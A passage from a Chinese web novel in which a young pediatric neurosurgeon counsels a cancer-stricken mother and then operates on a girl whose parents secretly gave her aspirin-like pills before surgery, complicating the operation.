“你也说了,只是延长而已,”卢书语态度坚决,“小博的情况,谁能说以后不会再复发?到时候还需要用到钱,我现在把钱都花光了,他将来怎么办?南医生,我理解你的好意,但我已经决定了,吃点儿药就行了。” 她起身顺便收拾了病床,“我现在没钱住院,也没时间住院,小博刚做完手术,需要人照顾。” 南栀发现她连说帮忙照顾都做不到。 她没时间一直守着郑瑞博。 把任务交给其他同事也不太好。 南栀看着卢书语把一切都打理好。 她不喜欢给人添麻烦,走到哪里都会收拾得干干净净,即便是个病人。 南栀说:“我前段时间心情不好。” “恩?” “我想起来一些事情,从前我刻意忘记的事。” 卢书语道:“忘记是对身体的保护,想起刻意忘记的事,的确会不开心。” “我爸妈对我不太好,很不好,但是作为孩子,我还是希望能有人多陪我走一段路。如果我知道我的妈妈为了我放弃治疗,就算能再活几十年,也只会活在内疚里。” 卢书语看向南栀。 南栀说:“有些事是瞒不住的,小博早晚会知道你是生病离开,你现在是肺癌中期,大概率还能活很多年,等你到了晚期,他一定会知道,你要让他后悔内疚吗?” 卢书语道:“可是多活几年有什么用?延续痛苦而已。” “但你想留下来,你害怕你走了,没人照顾小博,不是吗?多坚持坚持,起码坚持到小博能照顾自己,费用这方面,医院答应尽量选择费用低的方案,可以为你申请一些费用减免缓解压力,你一个人带着孩子不容易,不过现在是中期,还有自理能力,可以考虑积极接受治疗。给自己一个机会,多陪小博几年,和医生商量商量,他们都是国内顶尖的医生,会根据你的需求告诉你合适的方案。好吗?” 卢书语沉默片刻,说:“我再想想。” 往后几天,南栀看到每个小朋友都慈眉善目。 就算是再吵闹的小朋友,她也能笑眯眯地摸摸他的头,夸他恶作剧水平十分优秀。 小朋友们:“……” 医生要吃人了!! 郑瑞博术后第六天,基本达到出院标准。 南栀每天都会去看郑瑞博的状态,今天顺便告诉卢书语,郑瑞博明天可以出院了。 “术后反应轻,住院七天就可以出院,恢复得很好,病理结果是毛细胞型星形细胞瘤,回当地后继续治疗,定期复查。” 郑瑞博拉着卢书语的手,“妈妈和我一起回去。” 卢书语道:“我当然和你一起走。” “妈妈那天晕倒了,为什么会晕倒。”郑瑞博目光茫然,“我在手术室的时候,吸一下氧气就晕倒了,妈妈也是吸到氧气了吗?” 卢书语看向南栀。 南栀:“……是麻醉,担心孩子会怕,所以说让他吸氧气。” 卢书语笑道:“原来是这样,他都没和我提过。” 郑瑞博扯着卢书语的袖子哭道:“我要妈妈陪着我,妈妈不能走。” 卢书语没和郑瑞博提过自己的病,但孩子好像有感应,或许是看到医护人员对卢书语的态度改变,一直吵着不让卢书语走。 卢书语无奈地看着郑瑞博。 南栀趁机劝道:“虽然我很不想用孩子绑住你,但是他真的想你多陪他几年。而且……每个人都只能活一次,如果有余力,给自己一次机会,好吗?” 不是作为一个孩子的妈妈,只是为了自己。 卢书语眼睛酸涩。 南栀把郑瑞博揪过来,“妈妈如果生病了该怎么办?” 郑瑞博不假思索道:“看病。” 他指着自己的脑袋,“开刀。” “开刀不害怕吗?” 郑瑞博犹豫道:“医生叔叔技术好,不可怕。” 南栀指着自己,“是我给你开的刀。” 郑瑞博一声尖叫,躲到卢书语身后。 卢书语哭笑不得,“这不还是害怕吗?” 尖叫声都没能让南栀烦躁,她笑眯眯道:“但他也说了,生病就该看医生啊。” 卢书语搂住郑瑞博,陷入沉思。 南栀再接再厉,问道:“如果妈妈生病了,需要留在首都一段时间,小博能让姥姥照顾吗?” 郑瑞博道:“我得留下。” “你留下来,妈妈还要照顾你呀。” 郑瑞博害怕南栀的同时还很嫌弃,“我给妈妈做饭,给她……呃,换尿布。” 卢书语:“……” 这倒是不用了。 郑瑞博道:“那个医生哥哥可会洗尿布了,我找他学!” 两公里之外的奚阳华打了个喷嚏。 谁在惦记他? 南栀朝卢书语挤眉弄眼,“瞧,小博还能照顾你呢。” 卢书语紧紧抱住郑瑞博。 卢书语走之前,南栀偷偷往她的背包里放了两百块钱。 作为医生,她很难在经济方面帮助患者,她没有那么大的经济实力。但是作为个人,卢书语对她的信任,两百块也买不来。 第二天,南栀几人送走卢书语和郑瑞博。 沈玫感慨道:“真的很难见到如此通情达理的家长。” “知道南栀是第一次,还答应让她手术,一点儿也不闹,确实少见。” 沈玫看向奚阳华,“我怎么总是闻到醋味?” “是吗?我早上没吃醋啊?” 南栀说:“我还是希望她能接受治疗, 多活几年,最好能高质量地多活几年。” “唉,癌症,我们永远也打败不了的癌症。” 南栀想到整日忙忙碌碌的陆嘉述和舒映阶,或许这就是她们忙碌的意义。 有了成功手术的经验,南栀再手术时就顺利多了。 在身体条件允许的情况下,南栀接连做了几台手术。 主要是肿瘤、脑出血等等。 其他手术,南栀会过去做助手。 她怎么也不能指望自己什么手术都擅长。 神外办公室,两个医生正在讨论儿研所的发展前景。 “我家里人刚开始听说我专门给小孩做手术,第一反应都是不赚钱吧?” “何止是不赚钱,还总遇到麻烦呢。” “但是不管什么领域,都得有人撑着,我当初是相信舒教授,从普通神外来到儿研所,待了这么长时间,其实挺开心的。咱们在首都,经济还是好一点儿,那些偏僻地区的孩子,真得了重病可能就不治了。” 两人看向郭迁,“小郭,你来儿研所也挺久了吧?” 郭迁点头。 “王哥李哥他们都说你手术水平挺不错的,还跟着舒教授做一助?” 郭迁道:“最近没有了。” “这就对了嘛,舒教授是很有本事,但早点儿主刀,好处更多。” 郭迁点点头。 他也考虑过,可惜现在的情况不是他主动放弃,而是被迫离开。 “南栀又去了几台手术,她手术的质量都不错,回老家之后,应该能撑得起来。” “她这本事就该留在儿研所,不过当时能过来好像是拖了关系。” “儿研所哪是容易进的哦。” 这些话郭迁一句都听进去,他现在能想到的画面,只有南栀做手术时的样子。 以及他按捺不住,找到的那份有关南栀的档案。 从小城市来的最普通的医生,连职称都没有。 “小郭,小郭?问你呢,南栀怎么样?” 郭迁挤出笑容,“挺好。” * 郑瑞博出院后,卢书语没再出现。 富雅医院那边也没看到卢书语,估计是不打算治疗了。 南栀很心疼她,但也无可奈何。 但凡有办法,她都不会主动放弃自己。 小半个月的手术做不下来,南栀越来越得心应手,尤其是对电钻的研究更上一层楼。 舒映阶也挺喜欢和南栀一起去门诊,南栀在时,她可以放心地偷懒,这种感觉几十年都没有过。 难怪陆嘉述那个老家伙把人交给她时还依依不舍的。 熟悉后,舒映阶的话比平时要多,闲着时她最常提起的,是做丫鬟时的经历。 “我一直记得小姐叫文丽,如果姓王,或者姓张,这名字就一般了,但她姓文,一听就像是有知识有文化的,我当时连个名字都没有,她管我叫梨子,管我的小姐妹叫桃子,她最喜欢吃,她爸妈不让她总吃。” 回忆起这些,舒映阶的表情都更加柔和,“我也喜欢吃,她带着我们一起偷吃,特别仗义,偷到什么吃的都分给我们。她出国时,知道我喜欢读书,还带着我一起走,我能读书写字,都是她教的。” 南栀问:“后来分开了吗?” “唉,我出国了,自然没法接受继续在人家家里做仆人,当时社会也很反对,回国之后我就没再去文家了。我听说他们被抄家了,也不知道她怎么样。后来倒是在战场上见过一次,她当时也是战地护士,我们那会儿的战地护士,那都是培训两分钟,直接拉过去,她不是学医的,估摸着是自己报的名。当时刚被轰炸过,满地的伤员,我在死人堆里找胳膊找腿,她也在找,我俩不在同一个医院,甚至不在一个城市,是撤退过程中偶然碰到的,连句话都没来得及说。” 舒映阶第一次表现出不自信,“她可能是在怪我,如果我回文家,说不定还能保下来两个人,带着他们逃跑也行。” 南栀说道:“没试着通过广播、电视找她吗?” “想过,但还是算了,”舒映阶苦笑,“她怪我怎么办,我害怕见她。” 又一个患者家属敲门……不对,是踹开门走进来。 一男一女,领着女儿。 男人看起来有四十岁,女人也有三十好几,女儿年龄不大,只有五岁,一进来就东看西看。 徐富贵嚷嚷道:“你们这是什么医院?过来这么困难,放个自行车也放不下,来看病的都这么有钱?” 王喜男拉了丈夫一把,“行了吧你,赶紧把病看完,咱赶紧回家,待在医院晦不晦气?” 徐富贵一听这话就冒火,“我早就和你说了,不是什么大事,别过来,你非要来一趟。跑来这一趟又得多花多少钱,你里有数吗?!” “人家都说了咱娃脑子可能有问题,再拖着就出大问题了!” 南栀朝二人伸出手,“你们快点儿说,我快点儿看,不耽误彼此的时间。” 两人这才安静下来。 “最近两个月小静总说没力气,我看她还总流口水,以前没这样。” 王喜男推了推徐静,“你跟医生说说。” 徐静刚满五岁,表情神态和徐富贵一模一样,看南栀时劲劲的。 “这谁啊?这是医生?” 南栀微笑,“是的,你有什么想法?” “我不看医生,医生可怕。” 南栀道:“如果你害怕我,我可以带你去看更可怕的人哦。” “我才不信呢。”徐静做了个鬼脸,“我爸说了,我不用来医院。” 南栀拿起话筒,给护士站打电话。 两分钟后,两个护士拿着输液用的点滴套装走进来,“哪个小朋友要打针?” 徐静“哇”的一声哭出来。 徐静哭了,南栀的气才顺了。 南栀笑眯眯地看着徐静,“姐姐还是没那么可怕的,对吧?” 徐静的情况不太简单,南栀检查、询问后发现,她是右侧肢体无力,平时惯用右手,但最近有使用左手的情况,已经长达两个月。 “右侧肢体无力、头晕,舒教授……” 舒映阶示意南栀继续检查。 南栀让徐静右手握拳,徐静握紧拳头,张开时却很费力。 南栀将情况全部写在病历本上。 右上肢肌力Ⅳ级,余肢体肌力Ⅴ级,肌张力正常。 南栀道:“先带孩子去拍个CT吧。” 王喜男担忧道:“还要拍片子啊?” 徐富贵:“有没有其他治疗方案,能不能给我们开点儿药,先吃药看看?” “是啊是啊,我们孩子好好的呢。” 南栀问:“你们孩子好好的,带到医院来干什么?” 她把检查单交给王喜男,“快去吧,今天就能出结果,还得做一个MRI。不认识路就去问护士或者其他人。” 一家三口不情愿地走了。 检查结果果然堪忧,CT显示,徐静左侧丘脑底节区低密度占位,MRI显示,左侧基底节、丘脑囊实性占位,瘤周片状水肿。 “丘脑肿瘤,胶质瘤的可能性较大,”南栀说,“带着孩子去办住院手续吧,得开刀切除肿瘤。” 徐静哭得上气不接下气。 王喜男受到惊吓,“开刀?在哪里开刀?” 徐富贵:“咱就说有没有可能,你们给小静开点儿药,我们先回去吃药,万一你说的东西就没了呢?” 王喜男:“对对,这也是个办法,先吃药吧?” 南栀微笑道:“我不强迫你们留下来做手术,也可以开药,不过话要说明白,如果肿瘤真的自行消失了,希望你们还能再回医院一趟,这将是医学奇迹。” 徐富贵期待道:“就不可能真的有奇迹吗?” 南栀:“……” 南栀保持微笑。 徐富贵:“……知道了,没有。” 王喜男更愁了,“那就得开刀了,在哪开刀?” 南栀说:“丘脑,给脑子开刀。” “啥?!”王喜男抓住徐静的头,“把脑袋切了?!人还能活吗?!” 南栀叹口气,拿出本子,给两人画图,详细解释,“你们看啊,这是人的大脑,丘脑在第三脑室的两侧,现在呢,在这里多了一个东西……徐静比较幸运,她虽然左侧大脑脚受压,但是肿瘤边界清晰,情况可能没那么糟糕。” “如果你们不想手术,那还有放疗和化疗的方案。” 徐富贵眼前一亮,“吃药就行?” 南栀说:“会掉头发,也需要住院。” “能治好吗?” “不能,有生存率。” 夫妻俩同款疑惑脸,“这是啥意思?还可能会死。” 南栀点头,“这是肿瘤。” “做手术呢,还会死吗?” 南栀说:“如果是局灶性丘脑胶质瘤,能够顺利全切,可以长期存活,如果不能全切,可以辅助放疗和化疗,五年生存率超过80%。如果是弥漫性丘脑胶质瘤,预后就比较差了,从片子的结果来看,我们还是建议做手术切掉。具体是哪一种,要等病理结果。” 王喜男的关注点却很清奇,她为难道:“我们又不是不交钱,你们咋还能留一半呢 ?交多少钱能全切?” 南栀:“……” 舒映阶道:“如果条件允许,我们当然会全切,只是有的肿瘤位置不好,比如它被很多神经包裹,如果切除,会影响脑功能,这种情况就没办法切干净。” 王喜男恍然大悟,“老教授就是厉害!” 南栀:“……” 明天她要化一个老年妆上班! 徐富贵和王喜男虽然一直试图用药物解决一些问题,但南栀解释后,他们好歹接受了要做手术这件事。 王喜男回家筹钱,徐富贵留在病房照顾徐静。 徐静眼泪汪汪,“爸,我难受。” 徐富贵:“难受?难受就睡觉。” 徐静:“……” “爸,我饿了。” “饿了我也不会做饭,先睡觉吧。” “……” “爸,我想喝水。” “喝水啊,我看看,水还是热的,要不你先睡觉,睡醒了再喝。” “……” 如果全天下的护工都是这样照顾人的,他们该多么的开心。 南栀去给徐静准备温水,又去食堂买了清淡的饭菜,他叮嘱徐富贵,“最近吃的都要清淡些,要听护士的话,开颅手术不是小事,一不小心就会要命,一定一定要听护士的话,知道吗?” 徐富贵拿着刚开的一堆药,他一边看说明书一边敷衍道:“说了好几遍了,我都记住了。” 他这副样子,南栀哪里能放心? “该吃什么药,不该吃什么药,我都跟你强调过了,不要自作主张。徐静如果还有其他症状,一定要及时说。她的病史要说明白,不能隐瞒,这些对手术都有影响。” “知道了,你这医生年纪不大可真能唠叨,”徐富贵拉来两个同屋的家属,“你们给做个证,她说过了,我也都记住了,行了吧?” 徐静躺在床上努力睡觉,对爸爸和医生的争执也不太上心。 南栀只好先离开。 徐富贵和王喜男看起来都不靠谱,该说的话她都已经说了好几遍,只要他们不是聋子,应该就没问题。 南栀一回办公室,就被舒映阶叫过去开会。 “徐静的片子都看看,讨论手术方案,南栀,你来主刀。” 郭迁看向舒映阶。 奚阳华羡慕道:“你这几天切掉的肿瘤拼起来能做个孩子了吧?” 沈玫脸色微变,“奚阳华,你怎么说话的?” “开个玩笑,”奚阳华莫名其妙道,“你生什么气?” “……没什么。” 舒映阶道:“MRI能看到中线局部右移,好在边界比较清晰,你们来看看手术入路的选择。” 南栀说:“瘤体已经将传导纤维推挤到外侧,肯定不能选侧方入路。” 奚阳华努力跟上节奏,他向来能够大胆发言,“额角入路呢?” 沈玫白了他一眼,“你看不到瘤体前方室间孔周围有密集的纤维束?这都看不出来,你还是洗尿布去吧。” 奚阳华:“……” 沈玫不是一直明哲保身,今天攻击性这么强? 南栀说:“左侧三角区入路最合适,丘脑枕相对纤维稀疏,配合术中超声,避开皮质脊髓束,可以切除肿瘤。” 现在没有神经导航,也是个麻烦事。 她就该拉着一个研究医疗器材的人一起穿过来! 舒映阶道:“可以,手术过程要谨慎。其他人……郭迁,你有不同想法?” 南栀看向郭迁,他的脸色不太好。 舒映阶说:“有想法就说出来,术前讨论,不用在意上下级,有意见就得说。” 郭迁道:“丘脑高级别胶质瘤就算积极地手术全切,生存期也没有显著性差异,尤其现在做开颅手术,还没那么成熟,和国外还有一定的差距。我们是神外的医生,看到这些病例习以为常,但不能否认,我们的技术没那么好。” 会议室内鸦雀无声。 奚阳华看向沈玫,满眼都是求知的光:怎么了怎么了? 沈玫的状态也差不多。 舒映阶问:“其他人怎么看?” 舒映阶一开口,奚阳华肯定要说话的,“徐静的肿瘤边界比较清晰,是局灶性的可能性很大啊,如果是局灶性丘脑胶质瘤,切了以后是可以长期生存的。” 郭迁问:“你能保证不是高级别胶质瘤吗?” 高级别胶质瘤,侵袭毗邻组织,病程短、预后差。 奚阳华:“……” 这谁敢保证? 其他人都在看郭迁。 以前郭迁都是积极主张手术的,这还是第一次提出不要手术。 而且是在瘤体边缘尚能看清的情况下主张不要手术。 火药味挺重。 有人小声说道:“郭迁已经很久没上台了,舒教授不让上。” “给南栀腾位置?” “好像是上台前喝酒了……” 舒映阶看向南栀,“你怎么看?” 南栀已经在脑中过了一遍看过的所有论文和病例。 平时瞎看书看得多,现在就能体现出好处。 南栀说:“我看过一个病例,研究过论文,根据临床经验,儿童高级别胶质瘤和成人高级别胶质瘤不完全相同,儿童的预后要好于常人。儿童和成人的区别,是我们区分神外和小儿神外的原因,既然我们在小儿神外,这些因素都要考虑到。边界清晰的高级别胶质瘤,积极地切掉,是影响预后的重要因素。不论徐静的情况是哪一种,我都认为应该手术。” 她毫不避讳地看着郭迁。 大概是太过冷静,轻描淡写的几句话,便将郭迁的攻击挡了回去。 不认可小儿和成人的区别,还留在小儿神外做什么?还不如去综合医院的神经外科,待遇更好、更成熟。 郭迁冷着脸放下钢笔。 舒映阶道:“那就定下了,手术定在三天后,做好准备。” 南栀还要学习,某种程度上来说,她可能比舒映阶还要忙。 开完会,南栀还得去门诊看看。 奚阳华和沈玫跟在她身后。 沈玫道:“别让郭迁上台了,今天他明显是听到舒教授让你主刀,故意拆台,我担心他在手术过程中动手脚,让你担责。我看徐静一家人都不是好相处的。” 奚阳华眼前一亮,“南栀担责?!” 那他…… 沈玫把奚阳华推走,“你要是高兴,你也别上台了!” 奚阳华:“……,我这不就是想想吗?对患者不利的事我可不做。” 这种事可真是想想就美。 南栀不太关心人情世故,但她听劝。 “好,我和舒教授说一声,请其他人做一助。” 沈玫笑道:“要不说还是你厉害,才来多久,手术就比一般的主治医生都熟练了,我觉得你都能和副主任比一比。” 奚阳华瘪嘴,“你就拍她的马屁吧,她待不久,马上就要走了,我看你以后拍谁。” 沈玫说:“如果舒教授允许南栀离开,那她一定是认为已经没什么可以再教给南栀。如果你离开,那就是实习期到了,得换科室,或者滚 回学校。” 奚阳华:“……” 沈玫今天是魔鬼吧?! 南栀安抚道:“你不用太难过,其实手术也有缺点,比如要一直集中注意力,比如……唉,我最近拿手术刀时间太久,胳膊都酸了。” 沈玫:“让奚阳华给你捏捏,他擅长。” 奚阳华:“我擅长的不是洗尿布吗??!”【魔蝎小说 mo xie xs .c om】 80-90 第81章 第81章吃药药 当初祁念珍安排时,给南栀预备的学习时间只有两个月。 康宁医院缺医生,南栀也不可能耽误舒教授太久。 现在这个期限已经在慢慢往后延,舒教授也透露过让南栀来首都上学的意思。 南栀深思熟虑后还是拒绝。 能来首都上学当然是好事,目前为止,每个人都在议论她的学历。 但南栀还是认为专门抽出几年的时间去学习太耽误时间。 研究生、博士,还有她缺的本科学历。 像是奚阳华和沈玫,虽然没有经验,但年纪其实都比南栀大。 南栀现在一边工作一边学习就挺好的,她能应付过来。 而且……她总觉得还有病人们在等着她,最近这种感觉越来越强烈。 和黄春兰通电话时,她们还讨论了这个问题。 黄春兰是希望南栀能回去的,但又怕耽误南栀的前程,她不敢说这话。 得知南栀再有一个月甚至更短的时间就会回去,黄春兰的声音都雀跃起来。 南明杰和奶奶也吵着要和南栀通话,三个人在电话另一边争执起来。 南栀后知后觉地想到,这就是被人惦记的感觉。 亲爸亲妈什么的,哪里比得上黄春兰和南明杰? 南栀已经完全恢复活力。 这份活力让奚阳华痛不欲生。 “你有话能不能直接说?你又在暗戳戳骂我!没骂我?这还不是骂!!” 南栀睁着无辜的眼睛看着他。 整个神外办公室都投来不赞成的目光,好像是奚阳华欺负了南栀。 奚阳华:正义到底在哪里!! 很快到徐静手术的日子。 南栀上午还有手术,手术前,她又去了一趟病房,“都记住了吗?没有做不该做的事情吧?” 徐富贵和王喜男都在陪床,徐富贵道:“又来啰唆了,我们能做啥?我们就是普通老百姓。” “我们是静静的爸妈,能害她吗?”王喜男说,“我就是担心这手术……南医生,您可一定好好做手术啊,别给我们孩子留肿瘤了,一定要全切了啊,我们不想留着。” 南栀说:“我也不想。” 王喜男以为她卖肿瘤呢?这还能讨价还价? 南栀看向徐静,小丫头脾气不好,有点儿吵闹,被同病房的家属控诉过好几次了,晚上不按时睡觉,大声说话讲笑话,逗得其他孩子一直在笑。 “你感觉怎么样?” 徐静抱着一个脏兮兮的洋娃娃,满不在乎道:“我好着呢。” “今天不要再闹了,安静一会儿。” “你不讲理,我哪有闹啦?他们告黑状!我乖着呢!你丑,你不讲道理,你太丑了!” 南栀说:“攻击别人时,要挑别人没有的东西骂,捡着人家的优点骂,人家会生气吗?” 她可好看着呢 徐静:“……” 王喜男:“……” 她闺女的主刀医生多多少少有点儿脸皮厚了。 南栀看向王喜男,“我再问一遍,没有乱吃东西吧?” 王喜男起身把南栀往外推,“我们肯定遵医嘱,你就放心吧!年纪轻轻就唠叨,老了怎么办?” 王喜男把南栀推出病房,徐富贵偷偷打开床头柜,夫妻俩朝对方挤眉弄眼。 “你就放心吧,绝对没问题!” 肿瘤相关的手术,南栀已经做了很多台,是舒教授有意让她积攒经验。 幸好儿研所是首都的大医院,全国的疑难杂症都在往儿研所聚,不然还真找不到这么多患儿。 上午的手术结束,南栀稍作休息,很快,徐静被推进手术室。 徐静瞄了一眼南栀,“丑姐姐要给我做手术。” 南栀问:“你知道什么叫手术吗?” 徐静警惕地看着她。 南栀举起电钻,“这是我最近找到的最趁手的钻头。” 徐静:“……” 孩子老实了。 麻醉医院无奈道:“你悠着点儿,我可怕我这边出事。” “那不能,”南栀笑眯眯道,“麻醉医生多宝贵啊,绝对不能让你出事。” 麻醉医生道:“我帮你做了这么多台手术,以后有机会给我介绍陆医生啊。” 他指的肯定不是陆随,陆随是心外科的。 南栀道:“姑姑?我好久没见到她了。” “甭管多久,反正你肯定还能再看到她,她是我偶像,是我们麻醉医生的标杆和骄傲,你要是能让我认识她,以后什么麻醉我都配合你。” 奚阳华给南栀做二助,他酸溜溜道:“说是没关系,结果关系比谁都硬,可恶。” 南栀道:“你家里条件也不错,也没见你来主刀。” 奚阳华:“……” 南栀现在演都不演了是吧,都直接开骂了?! 南栀很无辜,“我只是客观论述呀。” 奚阳华抓起手术刀想冲过去。 手术准备工作结束,所有人各就各位。 南栀敛起笑容,正色道:“核对患者信息,准备麻醉。” 麻醉医生温柔道:“小朋友,别紧张,我们先吸口氧。” 徐静:“我妈说了这是麻……” 氧气罩扣在徐静口鼻,她没来得及骂完。 手术团队默契配合,开始手术。 南栀的开颅手法那叫一个炉火纯青,胳膊上的肌肉都比以前更成熟了。 她干净利落地取下骨瓣,按照术前商议好的入路,直奔肿瘤。 南栀在左侧三角区切开丘脑枕,进入肿瘤囊腔。 “肿瘤是淡黄色的,血供……不多不少?”奚阳华积极学习。 南栀问:“需要我回答你吗?” 奚阳华:“……” 他就说南栀当不成好人。 南栀说:“你看,肿瘤和丘脑的边界还是比较清晰的,瘤体周围水肿比较明显,恩,已经到中脑大脑脚。” 一助说:“这么大个肿瘤,得有3*4*4?感觉现在孩子得脑瘤的越来越多。” 麻醉医生说:“你也不看看咱们是干什么的,你如果在心血管,还会认为得心脏病的患者越来越多呢。” 一助嫌弃道:“我是在心疼孩子,你是纯纯找事。” 手术过程中说话、聊天都是正常情况,氛围比较欢乐。 南栀不喜欢在手术过程中说与手术无关的话题,她需要将注意力都集中在肿瘤上。 南栀一边分离,一边看监护仪,看的次数越来越多。 奚阳华察觉到不对,“有问题?” 南栀说:“出血量偏多。” “术前检查没问题啊,很严重吗?” 南栀蹙起眉,“再观察观察。” * 手术室外,王喜男和徐富贵焦急等待中。 两人已经在手术室外转了几十圈,再转下去,水泥地都要被他们踩塌了。 住院部的护士拿着一盒药丸朝两人走来,“王喜男?徐富贵?” 护士晃了晃手里的药丸,“这是什么药?不是我们医院开的吧?” 徐富贵目光躲闪。 手术室的护士走过来,“怎么了?” “你看,我刚刚在床头柜发现的,这药就装在盒子里,盒子上连个标签都没有。” 好几个医生护士围过来,“什么情况?” 王喜男把药盒抢走,“这是我俩吃的药,和静静没关系。” 护士气道:“你说话要负责任的,如果你们乱吃药,导致手术出问题怎么办?!” “能出啥问题?你们这不是厉害吗,医生不是牛吗?” “你!” 医生朝王喜男伸出手,“把药给我看看。” 附近的患儿家属也在劝道:“都来医院了,咱们就听医生的吧。” 王喜男不情愿地交出药盒。 医生倒出两粒药,看看药,又看看王喜男,“这是什么?!” 眼看着瞒不住,徐富贵也不想瞒了。 徐富贵道:“嚷什么?比谁嗓门高?这是我请人给我闺女开的药,怎么了?还得经过你们允许?” 他还能害自己闺女不成? 护士越听越着急,“术前不能乱吃药,这会影响手术的!我跟你们说了多少遍了,医生来问过多少遍,你们为什么不说实话?!术中出问题,孩子救不过来,你们担得起这个责任吗!” 王喜男撇嘴,“几个小药片能有啥问题?我请教过专家了,这就是对脑瘤有好处的药,吃了它,脑瘤能变小,医生手术也方便,我们这不是想两手抓吗?” 在附近的护士听到这话,差点儿就被气死。 手术室的护士有点儿着急,“手术已经开始有一会儿了,不会有问题吧,这到底是什么药?” 医生道:“我看着有点儿像是……阿司匹林?里面该不会是在做开颅手术吧?” 几个护士同时惊叫。 其中一人拿过药瓶,慌慌张张地往药房跑。 手术室护士差点儿哭出来,“你给我留两片,我拿去给主刀看看啊!” 氛围陡然紧张。 徐富贵和王喜男茫然地看着彼此。 不就是个小药片吗?能怎么样? * 监护仪的数字不断变化。 南栀叮嘱道:“盯紧了,看好血压、心率、血氧饱和度。” 奚阳华问:“出血还是很多?” 南栀道:“术中出血150mL是正常的,她比普通人稍微多一些。” “能处理吗?输血?” 南栀说:“再等等。” 手术室的门被推开,护士匆匆跑进来,“南医生,刚刚发现徐富贵和王喜男偷偷给徐静吃药了。” 所有人都看向护士。 护士把药片交给南栀,“医生看了,说是……阿司匹林。” 一助和奚阳华同时惊叫,“阿司匹林?!” 护士说:“已经吃了好几天了。” “开什么玩笑?!”一助惊道,“阿司匹林抗凝,做开颅手术会增加出血风险啊,怎么还给孩子吃这药?他们不想让她活了?!” “他们不知道这是什么药,说是从专家手里买的,能让肿瘤缩小,如果不是住院部的护士发现,他们到现在还不承认!南医生,怎么办?” “还能怎么办?”奚阳华的血压都被这夫妻俩气高了,“阿司匹林抑制血小板聚集,开颅手术止血困难,这还做什么手术?择期再切吧。” 所有人的心都提着,一起看向南栀。 在护士说话时,南栀还在分离肿瘤。 “南栀?!” 南栀这才抬眼,“别紧张。” “我还能不紧张?!”奚阳华都要吓死了,“一会儿止不住血怎么办?!” 一助、麻醉医生和几个护士和奚阳华的状态差不多。 这手术还能做吗? 南栀道:“已经开进来了,现在结束手术,依然有出血的风险。” “那怎么办?!” “我一直在观察出血量,与正常情况相比,是要多一些,不过还没到糟糕的地步。”南栀说,“我一直在给她止血,止血效果还可以,准备好血小板,补充功能性血小板,可以改善止血效果。” 说这话时,南栀的声音、脸色都没有改变,好像这只是手术过程中的正常步骤。 一助和麻醉医生渐渐冷静。 奚阳华急道:“可是开颅手术前不能吃阿司匹林,如果继续手术,她死了怎么办?” 南栀说:“手术过程中本来就会有各种突发状况,医生应该有判断是否需要终止手术的能力。” 她看向一助,“我判断继续手术比停止手术更好,我们现在需要做的是缩短手术时间,简化操作步骤,尽可能快速结束手术,有问题吗?” 一助愣住。 郭迁离开后,一直是他在做助理,他和南栀接触不少,知道她是“走后门”进来的。 平时的南栀就像个普通女生,和刚上大学的孩子差不多,可她刚刚说的这一番话,却让他彻底冷静下来。 在这一刻,他有种看到舒教授的感觉。 不论遇到什么情况,舒教授永远是冷静的。 一助看向奚阳华,“继续手术吧。” 奚阳华虽然还有担忧,但南栀坚持,也只能如此。 南栀加快手中的动作。 她平时做手术比较精细,没有特殊情况不图快,今天的速度比平时快两倍。 速度更快,但仍然很稳,看得一助和麻醉医生心情舒畅。 这就叫干净利落。 南栀对护士说:“术后要密切关注,多扫几次CT排查迟发性血肿。请血液科医生来会诊。” 护士匆匆离开。 手术室恢复平静,只是这一次,没人有闲心聊天,所有人都盯着徐静,一刻都不敢松懈。 * 徐富贵和王喜男还在手术室外。 他们身边多了几个医生护士,所有人都沉着脸,还有几人频频朝他们翻白眼。 王喜男心慌意乱,“不会真出事吧?” “只是几个小药片,能出什么事?而且我把静静的情况都和专家说了,专家说没问题。” “可我还是担心……” “唉,他们医生就是事多,估计是手术本来就不行了,找个理由怪我们。” 有几人听到这话,气得冷笑。 徐富贵脾气火暴,哪里受得了这些,他“蹭”的一下站起来,“你干什么?你在笑话谁?!” 保安提前到位,见状立刻把徐富贵按了回去。 “好啊你们,合起伙来欺负人,我看你们就是做不了手术,找个由头把责任推给我们!你们医生真够不要脸的!你们……” 手术室的大门打开,南栀几人匆匆走出来。 手术室外吵得正凶,尤其是徐富贵。 他张牙舞爪地喊道:“你们说清楚,是不是把我女儿治死了!你们想推卸责任!” 医生护士们已经听不下去,再多听几句,他们的祖宗都能被气活,明天就带着徐富贵一起下地狱。 南栀原本没想停下,闻言她走到徐富贵面前。 南栀乖巧地提问:“药是你买的?” “怎么,你还想否认?就是你们……” 南栀问:“真的能治疗肿瘤吗?如果可以让肿瘤缩小,这对所有癌症患者来说都是福音呀!应该推广!” 奚阳华:“??” 又疯了一个? 偏偏南栀一脸期待,“你是拯救癌症患者的英雄!” 徐富贵:“……” 恩? 恩?? 他飘飘欲仙,“看吧,我就说我的药没问题。” 南栀道:“能说下药的具体样子吗,还有这几天给徐静吃了多少,我们得记录,得搞研究。” “当然没问题,一天一粒,每天都是饭前吃的,哦,药盒子被医生拿走了,就是那个白瓶,里面的白色药片都是。” 奚阳华低声问:“你也吃错药了?” 南栀推开奚阳华,叫住附近的病人,“大家都来看看,他承认给孩子吃药了哦,回头我们会把药送去做检测,出一份检测报告,请大家帮我们做证哦。” 徐富贵:“?” 病人们纷纷开口,“经过我们都看到了,放心吧,只要我还活着,就给你做证!” “说起来我的病可能坚持不了几个月,你们尽快出结果啊。” “……” 王喜男冲到徐富贵旁边拍打他,“你是不是脑子有问题?你跟医生说这个干嘛?!” 徐富贵才反应过来,他恼羞成怒,“你耍我?你……” 南栀保持着乖巧的笑容,“你刚刚已经承认了哦,药是你喂的,如果人在手术台上救不过来,或者术后出血,医院不承担责任哦,阿司匹林会影响凝血的哦。” “你说的我都听不懂!”徐富贵吼道,“你们术前不都做检查了吗?有问题还手术?” “你这死人……”奚阳华骂道,“术前血液检查显示都正常,这是有可能的,除非针对性地检查她到底吃了什么药,这可能吗?难道每种药我们都去查?!她术前吃了什么药,你要如实告诉医生!” 南栀神秘兮兮道:“一般人是不会做这种蠢事的,这个大哥看起来不像蠢人。” 奚阳华格外嫌弃,“他还不蠢?他不蠢我蠢?” 徐富贵:“……” 南栀说:“你仔细想想呀,肯定不能是真蠢的,我估计是他们是不想看到徐静活着,希望徐静在手术中大出血。” 徐富贵:“?” 这对吗? 南栀:“这是刑事案件啊!!” 麻醉医生立刻接话,“对,这不是简单的吃药问题,这是谋杀。” 